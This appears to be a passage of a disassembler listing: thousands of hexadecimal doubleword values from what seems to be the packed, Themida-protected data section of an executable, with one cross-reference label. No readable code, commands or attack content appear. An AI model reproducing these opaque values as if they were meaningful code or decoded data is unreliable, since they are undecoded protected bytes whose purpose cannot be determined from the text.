		dd 0AE1A62D3h, 1897C56Eh, 5C5F3F7Fh, 1E4ED0B3h,	0DB67818Bh
		dd 0E4E7246Bh, 4D2DBF3Fh, 15669B3Dh, 0E6078832h, 0C8E62496h
		dd 0EEED4497h, 0E9FFF853h, 989377CDh, 2D6BAAFh,	14E72D34h
		dd 0E9661132h, 1C8F5BCDh, 42664432h, 0EDC2BDB5h, 0FACD9404h
		dd 152BA35Ah, 315ACD32h, 0B5420EB3h, 4D36627Ch,	66282837h
		dd 1569AD62h, 54F92232h, 802926F2h, 711CDB02h, 749B5320h
		dd 34E30918h, 0FC600003h, 15668820h, 85642A60h,	0FBBA65EFh
		dd 0AC887C68h, 1D0B075h, 90EF3A5Bh, 1377010Fh, 1567913Dh
		dd 9E938832h, 45765B7h,	0DBED4234h, 0F2EF4653h,	15624FB3h
		dd 0FAE74432h, 15662236h, 49422DB5h, 7542B4BBh,	1567CD3Dh
		dd 0AC9F2232h, 72FC5B29h, 5E76E053h, 11EF4432h,	98EBDE16h
		dd 1371A245h, 15636152h, 0A2BE4432h, 9E928316h,	0C49970E5h
		dd 9EA50352h, 90ED25CAh, 137713C7h, 3EF979CBh, 11EF8832h
		dd 8E24B16h, 75662232h,	0D9A9AF54h, 15669ADBh, 4EAA2432h
		dd 0B9295A47h, 0B716FC57h, 508FF386h, 745A6939h, 15331E5Ah
		dd 315A9832h, 34E303CEh, 0FC605503h, 1566223Dh,	4BA643A5h
		dd 65FC43ACh, 0F26ACBFBh, 0FCF30CE5h, 15661134h, 3221F6F5h
		dd 4F0EB460h, 9C662279h, 989E3536h, 2D222BFh, 0C499BD34h
		dd 1561AF3Dh, 93691132h, 15668833h, 0D3EF12C7h,	21EDD0BBh
		dd 11A29016h, 1A668832h, 156645B1h, 270EDA32h, 9C661116h
		dd 21E7AC36h, 78472F16h, 0E4E77B79h, 5E0B3059h,	156699DBh
		dd 0AF257632h, 32AB04F9h, 0AB7BB2CAh, 9DF35F86h, 984D7627h
		dd 137713C7h, 0DCDB92CAh, 15609934h, 15E0C03Dh,	9E9A2232h
		dd 47490B7h, 96697134h,	15664423h, 15662EDBh, 9AC8E132h
		dd 22B0929h, 9EA0FB0Ch,	0DCE309B7h, 1A600034h, 156689B0h
		dd 0D45DBC32h, 1534A43Dh, 138F1132h, 3E668832h,	6B122B07h
		dd 38E3A9E4h, 0E0600019h, 13AF0D31h, 58F4223h, 6B662232h
		dd 484A3961h, 0F39DB5C8h, 11EB5038h, 9C6607C2h,	44CC8B7h
		dd 14EB8734h, 0EC664432h, 1567C3DBh, 1568F832h,	697B8832h
		dd 0E0C381D3h, 726CC9C1h, 9D6A9336h, 1576D25Ah,	316ACD32h
		dd 118AA1CAh, 4D421DBBh, 156685DBh, 0A1E0C232h,	4FFD76CDh
		dd 4700303Ah, 0FD06B34Bh, 15664437h, 53ACB8D7h,	15E31E4Bh
		dd 4A668832h, 4D331453h, 0FCF36F6Fh, 15661122h,	0A1D24D84h
		dd 0D7F74437h, 8F0CD18Ch, 39B0FDCBh, 5B3B3765h,	0AB307AF3h
		dd 7CD079F4h, 9438E613h, 69006EFDh, 94B9B316h, 2616A7F5h
		dd 0B0919031h, 9430C31Eh, 694481C5h, 4A9E2BB2h,	1A979A52h
		dd 156691B1h, 1575AC32h, 36FF2232h, 661D67ACh, 0D2D94D71h
		dd 8CC22AEEh, 0F0EA816Bh
		dd 40074B8Ch, 1566898Fh, 488E4532h, 156628DBh, 68AF4F32h
		dd 0C9CD7CD3h, 9C061B20h, 474A3B7h, 9067E834h, 1377872Fh
		dd 156AC93Dh, 90692232h, 15661134h, 1566033Dh, 90A14432h
		dd 137724FBh, 15661132h, 156E063Dh, 73064432h, 0A7984088h
		dd 550C70ADh, 1567003Dh, 7D9A4432h, 15663232h, 18A49052h
		dd 0AC2EAEDFh, 0F543625h, 118AA153h, 0FC421DBBh, 15668838h
		dd 0D1758D4Eh, 177D9841h, 150C1609h, 15668DDBh,	74755032h
		dd 8099D252h, 137713A7h, 78EDA52h, 68664432h, 721030EFh
		dd 12B15752h, 1ECEDE63h, 0DF7EE3B4h, 0FC3D7C6Eh, 15661123h
		dd 0EF2F6C7Fh, 92E75173h, 0ABEE1A2Bh, 0D6CF99CBh, 9569E91Ah
		dd 15664433h, 0B4F3DDCBh, 1A600014h, 15669EB7h,	1577AD32h
		dd 85112232h, 23EEB14Ah, 5388D827h, 448E40F7h, 9CBBDA63h
		dd 44D3CB7h, 0D4EDE834h, 74AECF54h, 0CCE3ABCBh,	75600018h
		dd 1564053Dh, 74064432h, 1EF2D53h, 0FC661132h, 1566883Dh
		dd 0AC929B9Ah, 0DDB9AE2Fh, 0B95E6C44h, 0EAFC832Eh, 943F6006h
		dd 156626F6h, 0A099ED32h, 1377A2EBh, 15664DDBh,	1C8D2A32h
		dd 85CFF6CCh, 0A099A408h, 137775C7h, 9E004252h,	15E61EC0h
		dd 74668832h, 3480C554h, 3C0E43C4h, 9C661120h, 9969AC0Eh
		dd 15664433h, 34D3DDCAh, 0FC600003h, 1566883Eh,	14BC41E4h
		dd 9027A8FEh, 0C0F184Eh, 78EE852h, 72664432h, 47432843h
		dd 22EEB644h, 0B20F37B5h, 51C55537h, 750778E3h,	0DB89054h
		dd 15606192h, 23784432h, 5AED0261h, 90EB7053h, 1371441Dh
		dd 157FCC3Dh, 18F2232h,	0AB661132h, 1EDE8824h, 8925B8C4h
		dd 0FD351CD1h, 64CC21E4h, 0EA582745h, 1F8FB1E2h, 35662232h
		dd 9CC17C2Fh, 0A404979Eh, 0DCEB4532h, 0E9603334h, 3FBFACB9h
		dd 108F8E23h, 0A9664432h, 0B9D58DD0h, 2493A4B9h, 73068E23h
		dd 9FB29BB3h, 15662ADAh, 0FADF1732h, 5E04216Bh,	4F0724ABh
		dd 0EDC2D153h, 396BA4B9h, 9F068E23h, 156BADEFh,	43A32232h
		dd 89C25236h, 743A7240h, 7425BDE9h, 1572CB9Fh, 0DD191132h
		dd 4CBB1224h, 0FA38771Dh, 0D3972BC6h, 2CE2C377h, 0AC3790EEh
		dd 0EA99BBCEh, 7D34D333h, 24501460h, 688C0968h,	9436A20Dh
		dd 5AA3F7C0h, 4F7798D2h, 14E9876Bh, 0E9664432h,	14A4A352h
		dd 9E2521C1h, 0D5A7E9FDh, 330EBD37h, 9C662218h,	0EFD9350Eh
		dd 5210022Fh, 155BABB3h, 0F2A77251h, 0FAE75631h, 0C349FA27h
		dd 1A39BC33h, 156623B5h, 9065E932h, 13779CABh, 156655DBh
		dd 4E77CF32h, 0CF690F2Ah, 0ACBBB2B1h, 47BF40A6h, 98EDAE30h
		dd 13773BEBh, 74013F52h, 1566FE60h, 0D7E72232h,	45FB729Ah
		dd 0FFE74A33h, 45FB279Ah, 0FC3C28BBh, 1566113Bh, 0A2C224D2h
		dd 0C2DD47E2h, 9D698F90h, 15661133h, 7335E8CEh,	4D8B8F8Dh
		dd 74AECFB2h, 0EA9AA962h, 0E56777CDh, 0D45F967h, 0F8A7510Ah
		dd 0C0915437h, 2EBE4DB3h, 0F8E77AC2h, 2E305927h, 4D3B39BBh
		dd 156361CBh, 295C4432h, 9C8583DFh, 44A1C87h, 9C69E834h
		dd 15664436h, 9F29954h,	1564963Dh, 74068832h, 0EA9EC753h
		dd 15A4A73Dh, 1A061132h, 15669AB8h, 156BAD32h, 0C28A2232h
		dd 5C224AAFh, 0AA397F28h, 737478C3h, 7492618Ch,	0C8BB2FB3h
		dd 906955EFh, 156644AAh, 1575A33Dh, 1B8F1132h, 20668832h
		dd 0F587F5F7h, 32352931h, 57A1741Ch, 13A171A4h,	559A4D9Ch
		dd 15669A62h, 0E5671132h, 1CC8B8B3h, 1A3E04CEh,	156632B3h
		dd 156DF832h, 2B088832h, 0E8818602h, 5D08FA03h,	7D3144DEh
		dd 7B35E4DDh, 94B1B36Dh, 0B9F536C5h, 4A9B98A3h,	0FC3B6633h
		dd 15664420h, 467E7473h, 0E94400B0h, 55C1B6FDh,	0A1BE8379h
		dd 0A0EF126Bh, 13773D3Fh, 9ADFEE52h, 1569ADF2h,	98F32232h
		dd 0E66F87C9h, 0E6669F0Dh, 5759FCB6h, 0A48F43ECh, 0EC99EEE3h
		dd 1A6548F3h, 15664CBEh, 17E62D32h, 75661132h, 8CE38B53h
		dd 0FC605526h, 15662226h, 0C7EC2E82h, 0D0DE1271h, 0E020DB4h
		dd 0C2375436h, 0D3688A5Ah, 6A735B1h, 1A674223h,	156570B6h
		dd 156CF832h, 0FD7E8832h, 0FB144C17h, 11E16422h, 9407ED52h
		dd 0BFCC220Ch, 9DE34B98h, 0FC662232h, 1566113Eh, 581FE46Eh
		dd 931273CDh, 0F694DC28h, 0EFD84761h, 94127656h, 1C1418FCh
		dd 0E4A8A351h, 9406D211h, 0EA1173C4h, 4B95CD45h, 0ED3DFC33h
		dd 1509C95Ah, 31620132h, 597B4C5Ah, 1D537A41h, 9C155D2Fh
		dd 1A3E7474h, 156643B1h, 14E82D32h, 0ED661132h,	0D2577003h
		dd 1A06BC03h, 156621BFh, 0C4ED7732h, 0E1A40952h, 0A23A91C8h
		dd 960743F9h, 1EF15DEh,	9D8F3E16h, 73061EC2h, 0E0FF528Bh
		dd 1572F853h, 24938832h, 24A175CAh, 0A037DBCAh,	9E8E99DAh
		dd 0D1E5AC3Eh, 9C30BC36h, 11A0A3D4h, 96661132h,	21E18CDCh
		dd 11EF1816h, 1563CB16h, 0E6191132h, 96609C67h,	474F58Fh
		dd 91692334h, 15661072h, 749A7D52h, 107EFF61h, 0AC3746DEh
		dd 2731040h, 1DD869B3h,	0F4E7453Dh, 4A294746h, 41FFF8B3h
		dd 0D4E7BA0Fh, 83421CB3h, 243FEABBh, 9B694AEAh,	15668825h
		dd 1577CB3Dh, 198F2232h, 65661132h, 534F1C9Eh, 213DA92Ch
		dd 967E6911h, 0DFE468Fh, 91698834h, 15664410h, 4FFBAFCBh
		dd 756006D3h, 9069F481h, 1566443Ch, 15662BDBh, 92EF9132h
		dd 488B88E3h, 0EA07B6C3h, 2AE6DBE1h, 39E21EA2h,	0E9668832h
		dd 0F5DD1760h, 0AF2CB276h, 5FF655D7h, 143D5203h, 9F691EE5h
		dd 15662235h, 1567973Dh, 0FC9F8832h, 156645F5h,	1567AB3Dh
		dd 969F1132h, 9769D8CAh, 156644BAh, 1561A83Dh, 90691132h
		dd 15668833h, 0E303F4C7h, 108EE2E2h, 0A235983Eh, 168148F5h
		dd 0FAA69BC4h, 2689A237h, 213DE912h, 14E28723h,	0E0664432h
		dd 5E22D98h, 75661132h,	15668FDBh, 7359B832h, 0E49D3A2h
		dd 0EA077052h, 943EAC06h, 156640F6h, 1561CB32h,	0B6B11132h
		dd 26CB0680h, 58FEEE6h,	46662232h, 0D2CF75D5h, 0D4D0A724h
		dd 7EEE9FF8h, 0FCDD3449h, 156611FCh, 156C0F3Dh,	0A4064432h
		dd 24B9A31Ah, 74751B0Fh, 42428CB9h, 0D2E7A3BBh,	15662236h
		dd 1562D6B3h, 29E18832h, 58F1816h, 12662232h, 7601AE97h
		dd 1B6B1917h, 77644432h, 0BF92E7C4h, 156618DBh,	0B63F1132h
		dd 59D8A1BEh, 6AE64BBDh, 9069F8CDh, 15668848h, 1567C53Dh
		dd 969E2232h, 0DFE468Fh, 91698834h, 15664464h, 15662EDBh
		dd 0EC5A5732h, 0AF688F1Ch, 2BD2F3DAh, 88EBD70Ch, 1371F142h
		dd 9269E852h, 15664432h, 0F6549B54h, 156FF953h,	0F8128832h
		dd 640FD57Bh, 73484A46h, 4BC2B189h, 1AB57753h, 156648BAh
		dd 13E52D32h, 1A661132h, 156688B1h, 0DCE62432h,	740672CEh
		dd 9D34706Ch, 113100F0h, 944250B9h, 156626F6h, 90EDE932h
		dd 1377A2EBh, 0EED14B52h, 15662FDAh, 28EC1132h,	0C6D8AA79h
		dd 370D850Bh, 48E45ACh,	0A4661132h, 970A4728h, 93AC9E56h
		dd 5986A32h, 5B347C04h,	0EC07D069h, 165FE037h, 449E0B37h
		dd 9A20D68Bh, 168F4950h, 45AA85B3h, 0DD4FDA83h,	0EDF716Bh
		dd 7356CBDAh, 8AE292B3h, 11D97553h, 38661132h, 0AF8BED3h
		dd 0F463BC1Bh, 4A79BC04h, 0B893BACAh, 2FB70952h, 1A7CADC1h
		dd 9607D885h, 19EF15DEh, 0EA9A3116h, 0E467BBCDh, 156623F5h
		dd 0EC3F1132h, 0EA9DEEDBh, 1569ADCDh, 0DB042232h, 1C715FC7h
		dd 0B6FD6350h, 0CAD47E64h, 18D3ABACh, 7560001Eh, 15669ADBh
		dd 204EF632h, 387824FCh
		dd 0B873D4A3h, 0BF2F3CFAh, 751036D2h, 5B73F2B3h, 4F3569F9h
		dd 9C34E953h, 11A4C5D0h, 96662232h, 1E115D8h, 1EFD416h
		dd 94002416h, 1AD771E1h, 156612B1h, 56A50832h, 95662C53h
		dd 1C8F2232h, 46661132h, 1530B11Ch, 3935A6CAh, 78F2258h
		dd 0A1661132h, 143A923Eh, 0E659EBCCh, 7DE79EA7h, 685C32A7h
		dd 44D37766h, 0FC605512h, 15662237h, 303FD21Ah,	0DCF377DDh
		dd 0EC60553Fh, 464236B9h, 0D6E7F2BBh, 15668836h, 156287B3h
		dd 9E12232h, 128F4D16h,	0EF668832h, 0E7D1229Eh,	98ED3D10h
		dd 13771027h, 156687DBh, 11222C32h, 0E52091BBh,	1883A4C5h
		dd 0EE4F3B28h, 1756FE60h, 7D313F1Eh, 5EEE3F5Eh,	3791096Dh
		dd 0D451696Bh, 0D2E727DDh, 0C20C744h, 3C39B1BBh, 7D931E23h
		dd 15664F03h, 0AF4205BBh, 15668836h, 753C9533h,	74C4F4B2h
		dd 14739CBBh, 99698E23h, 1566443Eh, 156625DBh, 9761A332h
		dd 8E1CD8Fh, 0EAA29CDBh, 1575CBCDh, 77D01132h, 0E441E50h
		dd 0B3059658h, 65567EA9h, 0BD10DCBDh, 3EAD6119h, 0A0064432h
		dd 0ECED72C5h, 0FC06706Ah, 1566883Ch, 4A5DBE59h, 0C58CEAE1h
		dd 0F4B8DE2Eh, 9E9F9BA5h, 46751BFh, 469EDB34h, 15661189h
		dd 9EAD8932h, 317ACF39h, 1A62E6B1h, 156603B9h, 19EB8732h
		dd 0FC664432h, 15662235h, 0AB63A34Ah, 1A32C5DEh, 156643B1h
		dd 14E92D32h, 0ED661132h, 8D3505BBh, 949E422Ah,	51326C0Ah
		dd 0BCE31E7Eh, 0FC668832h, 15664439h, 0EB5BAD52h, 0E4475C81h
		dd 734EEF5Ch, 59623CB3h, 98E32D1Ch, 75661132h, 4698373Dh
		dd 0BD05FA54h, 4336436Ch, 18116C8Ch, 3112B973h,	94381A36h
		dd 18115FC4h, 19E31E73h, 1A668832h, 156642B8h, 15E32D32h
		dd 94661132h, 15668CDEh, 315ACD32h, 1566248Dh, 4A981032h
		dd 15606052h, 4EE54432h, 18C8FCC0h, 30BE9054h, 9E00D769h
		dd 90ED25EAh, 13771357h, 0FD35ED52h, 15668821h,	0FA31486Dh
		dd 0D4E2B8C5h, 58DA90BAh, 9657FE96h, 4A455129h,	0BF8F436Ch
		dd 1A661137h, 15668FB4h, 0EBED2432h, 74B5A954h,	1561475Ah
		dd 31620132h, 156CAD6Ch, 0B5E62232h, 94688DF2h,	80C613F8h
		dd 1562A8B3h, 11EF2232h, 249F4B16h, 156E61FBh, 7CAD4432h
		dd 22728609h, 0FCCACE41h, 1566883Bh, 3DCBB1E5h,	14A0D704h
		dd 1A662D32h, 156742B6h, 0F5D52432h, 0E0072287h, 91693C0Eh
		dd 0EA9977E8h, 1567C03Dh, 299A2232h, 24E21E1Ch,	0FC668833h
		dd 15664437h, 35922AA5h, 1A562D50h, 15633CB0h, 156DAD32h
		dd 54742232h, 36C0EACFh, 4D3A4B4Fh, 1A5F78B2h, 0EA9983B4h
		dd 7E71ECDh, 0FC668832h, 1566443Fh, 20876E6Ah, 0B42E186Fh
		dd 68150C2h, 1CEA4B18h,	75662232h, 9400FEB8h, 747DAFE3h
		dd 9769050Eh, 1566275Fh, 0C4ED7752h, 4F5AE9CBh,	0EA02C23Dh
		dd 1A06DDCDh, 156607BDh, 15776132h, 8BB64432h, 0AA3821B7h
		dd 67FF6E94h, 52A5E6E7h, 73A75AE0h, 0A578EAB3h,	1A392D53h
		dd 0EA99B1B6h, 986924CDh, 15662237h, 0DE503789h, 0ECEDEE34h
		dd 1A077853h, 15633EB0h, 6F5AE832h, 0EA7E0E3Dh,	9769BBCDh
		dd 15662222h, 15661ADBh, 7D5CCC32h, 0AD7D4C56h,	0C531352Eh
		dd 1562E9DBh, 78EE832h,	4A664432h, 1EBF1D27h, 0C3F554F3h
		dd 0D270F4Bh, 0BA17B666h, 1574CA7Ah, 99D21132h,	13DAAC16h
		dd 0DF092F5Eh, 0A11FC72Bh, 97860BBAh, 0CCE7D16Dh, 3DAFA634h
		dd 188F4253h, 0E1661132h, 6392AEE2h, 5F42CEF3h,	90BDEF20h
		dd 156603DBh, 428B8A32h, 59256874h, 3922F250h, 6236650Bh
		dd 74B96FF6h, 0EA99FF61h, 0CF4FDDCDh, 14E21E69h, 0EC668832h
		dd 73ABF652h, 7493238Dh, 9169E30Bh, 15668C47h, 1563AD52h
		dd 33D72232h, 73A335E9h, 749E738Bh, 5504FD63h, 0C49102D9h
		dd 0F4E7C0C5h, 64DDF7D5h, 5505B5B3h, 0DF4F0299h, 1BE01E6Bh
		dd 0FC668832h, 1566443Bh, 0A7EDA764h, 7B8929B4h, 14DDDBC7h
		dd 14664432h, 0FC9E79EBh, 0EA99EF1Ch, 156F003Dh, 0A4064432h
		dd 0F3E7440Fh, 90070020h, 7E287FBh, 75664436h, 0AE449B54h
		dd 156601DBh, 0E0E77B32h, 0A91C7F85h, 17B008AEh, 6638FEDAh
		dd 0A0EBE986h, 137769D7h, 1563A93Dh, 0ED061132h, 47076F82h
		dd 944248B9h, 156626F6h, 0F2E77132h, 17513F03h,	4707C187h
		dd 94421EB9h, 156615F6h, 7D007132h, 9C005216h, 3BD5062Eh
		dd 4E00C9BAh, 0E81326CAh, 12E34BCBh, 1A662232h,	156610B1h
		dd 0D4E77032h, 6BF20A25h, 0AD36DB1Bh, 6BF25F25h, 753E491Bh
		dd 15E74B52h, 74662232h, 52B99054h, 150EE929h, 3C664432h
		dd 19ED063Eh, 11A29016h, 1A668832h, 156645B9h, 0D2E7D732h
		dd 0E5E718Bh, 0AB30471Bh, 0E5E248Bh, 1A38D51Bh,	156610B9h
		dd 0F9E57032h, 315ACD36h, 0E0387D64h, 1561903Dh, 9C698832h
		dd 15664433h, 0FCC2D1CAh, 15661138h, 0AF54E524h, 0B7DBA5B6h
		dd 9369F88Dh, 15661135h, 1567003Dh, 46934432h, 0EA99DD89h
		dd 0D39D10CDh, 9ED8831h, 11A2C516h, 0FC662232h,	15661122h
		dd 860C2A64h, 26405DBFh, 7387DD95h, 2EAA51A0h, 156E043Dh
		dd 96694432h, 15662230h, 80EB7052h, 1377A5D7h, 7483F052h
		dd 3FAFA7B9h, 48F1723h,	21668832h, 0A1369F00h, 0B01195E3h
		dd 0FD05AD9Dh, 0E83C56F4h, 906984B7h, 15662294h, 1561933Dh
		dd 9B698832h, 15664433h, 0C4E3E4C7h, 52600034h,	0FDBE0352h
		dd 15664435h, 0AF9A5D91h, 0FC63D31Ch, 1566883Eh, 2E4DABA9h
		dd 0AB811F7Ch, 56E21D6Ch, 0C70EE969h, 0FCB2DE95h, 15662221h
		dd 0B28C38A2h, 72AEAE7Eh, 741CBAE0h, 0D399B4BBh, 0EA92F3F9h
		dd 4695987h, 8E44B34h, 75662232h, 18FEDB8h, 7A668832h
		dd 9F7163Ch, 0FD68078Ch, 0D1F16DF9h, 96077C35h,	74CAFC79h
		dd 6119A7BFh, 58F1726h,	0E1668832h, 0DBA3F4E7h,	40AF44A4h
		dd 8B036E50h, 0EA59F832h, 0CFE724E2h, 586CD713h, 858F9054h
		dd 9C34E9DEh, 11A4C5D0h, 96662232h, 1E115D8h, 1EFD416h
		dd 0E9342416h, 0EA07DB6Ch, 14EB1EE2h, 0E9668832h, 906984B7h
		dd 1566236Fh, 156605DBh, 0B431B632h, 1EE7F5D7h,	0A65DFC3Bh
		dd 0CD904ECAh, 0F479090Fh, 1568AD34h, 0E8FB2232h, 0F96B5E8Dh
		dd 15DFE9B8h, 3386DAF7h, 3457A7B9h, 92691723h, 15668833h
		dd 1AA6C1CBh, 15668EB7h, 0EE21E32h, 1A668832h, 156651B3h
		dd 1576CB32h, 3FB41132h, 0BE986DFEh, 1695E97Ch,	0A8BB745Eh
		dd 90A07B74h, 13778EE3h, 9531247Eh, 733D57C5h, 0E007DFB9h
		dd 0CF7A615Ah, 2E64BEBh, 0FC662232h, 15661120h,	580B9BF2h
		dd 58C16519h, 0FFF2F55Fh, 0E9986DD6h, 0A0993239h, 13774BE3h
		dd 0DFE742CEh, 12EA5C69h, 6AE30553h, 75605046h,	1567AF3Dh
		dd 9F9E1132h, 9C69E9CFh, 15664413h, 15E32D52h, 0FC661132h
		dd 15668826h, 0BD34CBDDh, 484CCF15h, 0DC7ADBEAh, 80DDA141h
		dd 0CA248226h, 1AB6DD53h, 156619B1h, 17ED8732h,	75664432h
		dd 7AD4A53h, 1EF1132h, 14EF8716h, 0EC664432h, 4206F2CDh
		dd 15661BDAh, 9375EB32h, 6B8C32CDh, 4D4F54BEh, 0D5E3706Dh
		dd 15250D3Dh, 0FC064432h, 1566223Dh, 0D0C6BAFAh, 1A3B03CCh
		dd 273BB011h, 73BECCF8h, 0FC07EAB9h, 15668887h,	1563AC52h
		dd 0F3BF2232h, 75E81DBAh, 9269D753h, 15664422h,	156628DAh
		dd 606F5132h, 4154C7ECh, 4BB6AD1Eh, 46E3AB53h, 0FC6009AAh
		dd 15668822h, 67119A9Fh, 24E41101h, 0D4F1FE45h,	92F13DEBh
		dd 9483CD67h, 156626F7h
		dd 118B9032h, 92668832h, 9C3A601Eh, 1A060636h, 0A269D88Dh
		dd 9C33E9C5h, 11A3C5D7h, 96662232h, 39E115DFh, 21EFD416h
		dd 14E54B16h, 0EC662232h, 7B0C94BFh, 9A698E26h,	15664438h
		dd 0CBE74452h, 9E00C380h, 0C599E9E4h, 156642DBh, 0B7A6C432h
		dd 1EC44C96h, 12E387F2h, 0E0664432h, 15662EDBh,	51EFE432h
		dd 95069416h, 0ECEC03FDh, 78F4353h, 0A2661132h,	0D3521831h
		dd 85A2D650h, 0C9259E3Dh, 2C67E0B8h, 759E4B05h,	46EBCFCBh
		dd 1A603AAAh, 15661DB2h, 13EA8732h, 1A664432h, 156622B9h
		dd 0AA697132h, 49DEEEF0h, 0F00E25D1h, 9C66222Fh, 449E3536h
		dd 0ED42A4B3h, 4D00D173h, 549E9961h, 0CD6777A7h, 156E6169h
		dd 85ED4432h, 0E024169Eh, 43342418h, 1566B48Ch,	4B94CD32h
		dd 1765E033h, 0AC37E968h, 156688BAh, 24998533h,	9C697B68h
		dd 1566113Ah, 1564023Dh, 74064432h, 3283B7BBh, 0E0061723h
		dd 156F6160h, 0BA274432h, 0AFF9FF6Ah, 4B7701DDh, 0FAE6E853h
		dd 74A1CF3Dh, 9C62CEB1h, 0EDD9350Eh, 14668832h,	94691BCAh
		dd 1566223Eh, 15609A3Dh, 9A698832h, 15664432h, 9E6A52CDh
		dd 0D1E53526h, 14E38736h, 0ED664432h, 2E7B7BBh,	0AD061723h
		dd 422E5267h, 0EA0793B9h, 963E0606h, 0FC9A15F6h, 15668821h
		dd 0F0DF28AEh, 2E4933EBh, 93E1B900h, 6C6D19C9h,	0EA32FF50h
		dd 9E420646h, 0D1E53536h, 6A4B7036h, 10435554h,	70352689h
		dd 0AE4BD91Bh, 1003DB36h, 3077224Dh, 23DC4452h,	1577F9D0h
		dd 166E8832h, 0A71BE481h, 949F9BEAh, 0E2A93AB1h, 73B667C8h
		dd 0F4A195B3h, 905D4368h, 137706B3h, 15370A3Dh,	1A8F4432h
		dd 2F662232h, 0F451531Ch, 5020E69Ch, 275C9260h,	905D5EA3h
		dd 137736D7h, 15570B3Dh, 749F4432h, 156629DBh, 2C51BB32h
		dd 1D2ED6Fh, 0A4444035h, 0E96626F0h, 4DDC7752h,	1576614Ah
		dd 4C084432h, 3854DC68h, 0F3DD550Fh, 85040478h,	7407664Fh
		dd 3162E5CAh, 4B9C55D4h, 1342A4F3h, 944250C5h, 13B0063Eh
		dd 0A8330172h, 1BD4B88Bh, 11422803h, 314AA36Fh,	0E5103775h
		dd 0AF34DECBh, 15664432h, 9C3CF4BBh, 4B6E3546h,	156684DBh
		dd 69B4E932h, 0DF18229Eh, 0F212A70h, 157461B7h,	0CD574432h
		dd 228A6A5Ch, 861AF6E9h, 890C0D8Dh, 31009FAAh, 0A4DC7064h
		dd 0E20D873Bh, 53AC09E8h, 9407F973h, 0E30F1CD0h, 178CD07Bh
		dd 7F87AB3h, 0E7E70196h, 663764CCh, 943CC7BBh, 62D56AF4h
		dd 4B96CDEBh, 17EE2D52h, 9E661132h, 13EF87F0h, 94664432h
		dd 3437DC4h, 91697001h,	15668833h, 2BEBC9CBh, 0FC60337Ch
		dd 15661135h, 66E19Ch, 0EA01C1C8h, 0DAE742D3h, 49D7CEFBh
		dd 15668FDBh, 0D8206232h, 0E206E75h, 73067153h,	0A65B50B3h
		dd 74AFF33Dh, 15DD71C7h, 94661132h, 0CE34ACF1h,	94954514h
		dd 0CE3406D9h, 4E659B14h, 38CD3252h, 2907611Fh,	63E22DDBh
		dd 0FC661133h, 15668823h, 6809305Ch, 904EC005h,	0E71A299Fh
		dd 0C0D4A07Bh, 1A8E781Ch, 1567AFB6h, 0E0937132h, 1A69B453h
		dd 156627B6h, 99694232h, 15661134h, 373C46B3h, 0DDE72A6Ch
		dd 20FFE5B6h, 1AAB2D53h, 156772B6h, 0FE5AB832h,	1758A63Dh
		dd 44061132h, 0EC395CB8h, 9CD22453h, 15662FDAh,	0CC6C6C32h
		dd 8C3955Ah, 189EE572h,	0C6E65E5Dh, 74074889h, 156681DBh
		dd 7B3B7C32h, 0AB45DBC9h, 0FCA538D0h, 1566883Ah, 400217C8h
		dd 0F0736F6Dh, 92D84763h, 0AC627055h, 119E23B4h, 1438D303h
		dd 4C7F9BC3h, 1573053Dh, 58F4432h, 57662232h, 0B8049270h
		dd 0EB7BEBEDh, 255B85A1h, 44427579h, 0F0A6B087h, 0E3A37635h
		dd 0F0D117EFh, 0D2E6FDC4h, 4E9B398Dh, 35D365B2h, 1E8F1DD9h
		dd 0D8662232h, 0E205D75h, 0DCF284FCh, 0EEE6FDA9h, 95E32DB2h
		dd 1A99EECDh, 156689B8h, 68FBC32h, 7A662232h, 8DF505h
		dd 997C5401h, 0D1BAE1E0h, 1D186C18h, 9E3033D7h,	0D1E7AC2Eh
		dd 15664436h, 1562A43Dh, 75061132h, 0F9E7E953h,	15664436h
		dd 0AD4226BBh, 15661134h, 0FC3E4B33h, 1566443Fh, 4812C650h
		dd 3AE2E980h, 60DD41C6h, 17DC16EAh, 94662232h, 504E14F0h
		dd 9494894Dh, 504E41D8h, 4F7C214Dh, 15DBF8CBh, 1A068832h
		dd 156642BFh, 15E02D32h, 0AD661132h, 1CA527FEh,	14DE1453h
		dd 10662232h, 49E02BEEh, 0C94B7833h, 9E3AC208h,	48F7A2Ah
		dd 9E661132h, 47F679F9h, 61A64C41h, 0D808159Bh,	0C47752EDh
		dd 1A9D73B1h, 1566B8B6h, 80EDA32h, 9C661177h, 11E7AC06h
		dd 0F0A9116h, 0FEE7794Eh, 697C7DE7h, 0CEBE0952h, 0FD181B59h
		dd 1566223Fh, 11268B89h, 0C62389B7h, 0E064417Ch, 0E6E744D8h
		dd 743CE98Ah, 15673163h, 0FCE74432h, 156559C5h,	0D4E7E033h
		dd 1565F3C5h, 0FC3F5D31h, 15662237h, 37A9A1CDh,	2B85E028h
		dd 39EF4432h, 15639F16h, 0FE671132h, 156F616Fh,	2D8F4432h
		dd 0A786C8CAh, 0FC0D662Fh, 0EA997679h, 1572AD52h, 0A8292232h
		dd 0FB0195C2h, 0A5EE12C1h, 0C2AAD8ECh, 0F98A4D4Fh, 1A0786C9h
		dd 1A67D684h, 15664FB7h, 9E004232h, 4C9790C9h, 74199CD8h
		dd 1A48AFB1h, 0EA9830B6h, 936971CDh, 15668837h,	12BDC554h
		dd 238F438Fh, 75661132h, 15E68752h, 0FD664432h,	1566223Fh
		dd 0D3FE907Eh, 939A833Ch, 5C0443E0h, 7407788Ah,	0EB676FB2h
		dd 0E8BF0D3Dh, 9969BBCDh, 1566223Bh, 73077152h,	6C5067B3h
		dd 0E92BAD53h, 9506DDCDh
		db 0F1h, 75h, 7
byte_5CA017	db 47h			; DATA XREF: Themida_:005516E3o
		dd 0D7E76ABBh, 15664436h, 9262C8B1h, 9C3A3526h,	0AE06AC06h
		dd 1151249Eh, 0BE97A48Ch, 9C317032h, 11A109D5h,	94664432h
		dd 156626DDh, 315A9632h, 316A016Eh, 493DFC52h, 188F45DCh
		dd 77661132h, 38998B46h, 5EE8CC9Ah, 7DFBB057h, 0AC007153h
		dd 0CAEDAF28h, 0F2EF1353h, 1562E5B3h, 0FAE51132h, 315A0F36h
		dd 317ACD6Eh, 9F6942CEh, 15661130h, 7D070B83h, 15660FE4h
		dd 0ED421EBBh, 1F8FD103h, 0B5668832h, 716656FDh, 453B9012h
		dd 9469BDD4h, 15668833h, 0D0EE15CEh, 19EDC9BAh,	11A29216h
		dd 1561063Dh, 91694432h, 15662233h, 0B20E77C7h,	11EFEE2Bh
		dd 3596F416h, 0ED3E44F1h, 1A16EAB2h, 15609AB6h,	1A5ABC32h
